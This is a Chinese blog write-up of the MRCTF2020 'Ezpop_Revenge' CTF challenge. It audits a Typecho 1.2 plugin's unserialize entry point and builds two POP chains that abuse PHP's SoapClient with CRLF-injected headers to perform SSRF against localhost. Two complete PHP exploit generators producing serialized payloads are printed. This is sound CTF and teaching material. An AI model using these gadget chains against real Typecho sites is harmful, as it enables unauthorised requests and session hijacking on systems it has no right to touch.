代码审计_MRCTF_typecho 反序列化

[MRCTF2020]Ezpop_Revenge


0x01 前言

感觉代码审计需要不断练习,提高自己看代码的能力,这次从两条pop链来分析反序列化漏洞吧。

0x02 正文

这个题是一个typecho 1.2的框架,扫目录发现www.zip源码泄露,下载后进行审计,看到flag.php:

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

大概率要打SSRF,而且RCE的函数都被过滤了,看了typecho 1.1的反序列化漏洞,想看看install.php有没有漏洞或者说是被修复了没有,结果发现整个文件夹都被删了,既然觉得是反序列化漏洞的话,那就从关键函数回溯

关键函数回溯也是代码审计中比较重要的一环,面对代码量很大的文件不妨一试

全局搜索unserialize发现:在这里插入图片描述
应该是找到入口点了,贴下主要代码:

public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
			if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
				unserialize(base64_decode($_POST['C0incid3nc3']));
			else {
				echo "Not that easy.";
			}
        }
    }

接着看一下这个类是一个插件,既然是插件的话应该设置了路由和接口,先不着急,紧接着发现:

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }

__wakeup()方法摆在这里,那应该就是从而进行反序列化了,触发__wakeup后,跟进Typecho_Db

跟进后贴上关键代码,$adatpterName看到会被当成字符串echo且是可控的,自然想到如果$adatpterName是某一个类的话,则会触发该类的__toString()方法.
在这里插入图片描述
接下来我们全局搜索__toString()方法

Pop链 1

因为__toSrting()方法有多个类中存在,这里有两条链可以利用,因此从这里开始分别分析。

Typecho_Db_Query类中发现该魔术方法,关键点在这:
在这里插入图片描述
知道当$this->_sqlPreBuild['action']SELECT时,则会return $this->_adapter->parseSelect($this->_sqlPreBuild);而如果我们将$_adapter设置为一个类,而这个类没有parseSelect方法,则会触发__call()方法,考虑到此处还有进行SSRF,自然想到了利用SoapClient这个PHP的原生类,触发其__call()方法从而进行SSRF

贴上判断原生类的魔术方法

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

因此我们的第一条链就出来了:

HelloWorld_DB::wakeup–>Typecho_Db::__construct(tostring)–>Typecho_Db_Query::__construct–>(this->_adapter=new Soapclient)–>
SSRF

EXP:

<?php
class HelloWorld_DB{
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
	}
	
	public function __construct()
	{
		$this->coincidence['hello'] = new Typecho_Db_Query();
		$this->coincidence['world'] = 'crispr';
	}
}

class Typecho_Db{
	private $_adapterName;
	private $_prefix;
	public function __construct( $prefix = 'typecho_')
    {
		/** 获取适配器名称 */
		$adapterName = new Typecho_Db_Query() ;
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
	}
}
class Typecho_Db_Query{
	private $_sqlPreBuild;
	private $_prefix;
	private $_adapter;
	public function __toString()
    {
		return $this->_adapter->parseSelect($this->_sqlPreBuild);
	}
	public function __construct()
    {
		$target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=skdpjb9j5loauj48q58gfj00q2"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'crispr', 'location' => $target, 'user_agent' => "crispr\r\n" . join("\r\n", $headers)));
        $this->_sqlPreBuild['action'] = "SELECT";
    }
    }
$obj = new HelloWorld_DB();
$payload = urlencode(base64_encode(serialize($obj)));
echo $payload;

这里还需要触发最开始的action()方法,去查一下路由发现:
在这里插入图片描述

addRoute接口,可以往typecho里面添加特定的路由策略,进而将url请求重定向到自己的控制器或者插件上。

代码意思就是:添加一条路由,将xxxxxxx.com/index.php/page_admin的请求发送到HelloWorld_Plugin这个action()上,因此我们访问这个目录就能触发了。

在这里插入图片描述

Pop链 2

可以参考FreeBuf的typecho反序列化漏洞,这里我们也跟着分析

还是从__toString()方法入手,Pop 1链 选取的是Query.php,而这里我们看一下另一个Feed.php的__toSrting(),跟进查看:
在这里插入图片描述
触发第二个需要self:RSS2 == $this->_type这个好绕过,接下来发现$item['author']->screenName$item其实是私有属性

当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数。

如果我们给$item['author']设置的类中没有$screenName就会执行该类的__get()方法,全局搜索该方法:
在这里插入图片描述
跟进get()方法:
在这里插入图片描述
这里我们只需要设置$this->_params['screenName']就能将值赋给$value,作为变量传到_applyFilter()中,跟进:
在这里插入图片描述
当我们设置了$_filter后,会调用call_user_func(),而且其两个参数都是我们可控的,原版的typecho可以直接进行RCE,此处我们将$filter设成call_user_func而为什么要再用一遍呢?因为我们要调用__call()方法,而直接call_user_func,只会将第一个参数设成方法名,第二个参数为方法的参数,如果filter=call_user_func$value=array('SoapClient','2333')

call_user_func会将数组的成员当做类名和方法,而并没有定义此方法,所以会调用自带的__call()函数,成功发送请求进行SSRF

因为SoapClient没有2333方法,成功调用__call()达到SSRF的目的。
EXP附上出题大佬eki写的:

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function __construct($coincidence){
        $this->coincidence = $coincidence;
    }
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class Typecho_Request{
    private $_params;
    private $_filter;
    function __construct($params,$filter){
        $this->_params=$params;
        $this->_filter=$filter;
    }
}
class Typecho_Feed{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}

$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie:PHPSESSID= np88gihrs5gepiou717rit3dh4'
);

$a = new SoapClient(null,array('location' => $target,
                                'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
                                'uri'      => "aaab"));

$payload1 = new Typecho_Request(array('screenName'=>array($a,"233")),array('call_user_func'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array('author' => $payload1));
$exp1 = array('hello' => $payload2, 'world' => 'typecho');
$exp = new HelloWorld_DB($exp1);

echo urlencode(base64_encode(serialize($exp)));

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值